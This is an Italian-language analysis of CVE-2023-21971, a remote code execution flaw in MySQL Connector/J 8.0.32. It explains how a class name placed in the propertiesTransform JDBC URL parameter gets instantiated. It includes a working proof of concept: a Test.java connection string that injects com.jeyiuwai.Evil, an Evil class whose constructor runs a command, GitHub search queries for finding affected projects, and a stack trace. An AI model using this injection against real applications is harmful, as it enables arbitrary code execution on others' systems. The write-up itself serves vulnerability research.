
CVE-2023-21971 Connector/J RCE Analisi分析
Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk
New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access
Analisi della deserializzazione di MYSQL JDBC - 跳跳糖 (tttang.com)
Vulnerabilità nel prodotto MySQL Connectors di Oracle MySQL (componente: Connector/J). Le versioni supportate interessate sono 8.0.32 e precedenti. Una vulnerabilità difficile da sfruttare consente a un utente malintenzionato con privilegi elevati di compromettere MySQL Connector accedendo alla rete tramite più protocolli. Un attacco riuscito richiede l'interazione umana da parte di una persona diversa dall'attaccante. Un attacco riuscito a questa vulnerabilità potrebbe portare a capacità non autorizzate che causano il blocco o crash frequenti e ripetuti del MySQL Connector (DOS completo), nonché l'aggiornamento, l'inserimento o l'eliminazione non autorizzati di alcuni dati accessibili dal MySQL Connector, e l'accesso in lettura non autorizzato a parte dei dati accessibili dal MySQL Connector.
Impatto:
Cerca su GitHub progetti che dipendono da mysql-connector-java.
filename:pom.xml mysql-connector-java
Cercando su GitHub, si possono trovare progetti che dipendono da una versione specifica di mysql-connector-java.
filename:pom.xml mysql-connector-java 8.0.32
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");
src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java
Qui è evidente che possiamo controllare propertiesTransformClassName, e nel processo di chiamata a newInstance() verrà automaticamente invocato il suo costruttore senza argomenti.
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();
È evidente che si possa scrivere un Demo di verifica.
Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.32</version>
</dependency>
Qui scarichiamo direttamente il file Jar e lo importiamo nelle Librerie del progetto IDEA.
Test.java
import java.sql.Connection;
import java.sql.DriverManager;
public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
}
}
com.jeyiuwai.Evil
package com.jeyiuwai;
import com.mysql.cj.conf.ConnectionPropertiesTransform;
import java.io.IOException;
import java.util.Properties;
public class Evil implements ConnectionPropertiesTransform {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Properties transformProperties(Properties properties) {
return null;
}
}
Ma la classe Evil è creata localmente, e nessuna delle dipendenze ha una classe che implementa l'interfaccia ConnectionPropertiesTransform. Questa è una vulnerabilità inutile?
Attraverso esperimenti abbiamo scoperto che in realtà la classe Evil non ha bisogno di implementare l'interfaccia ConnectionPropertiesTransform per eseguire comandi.
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test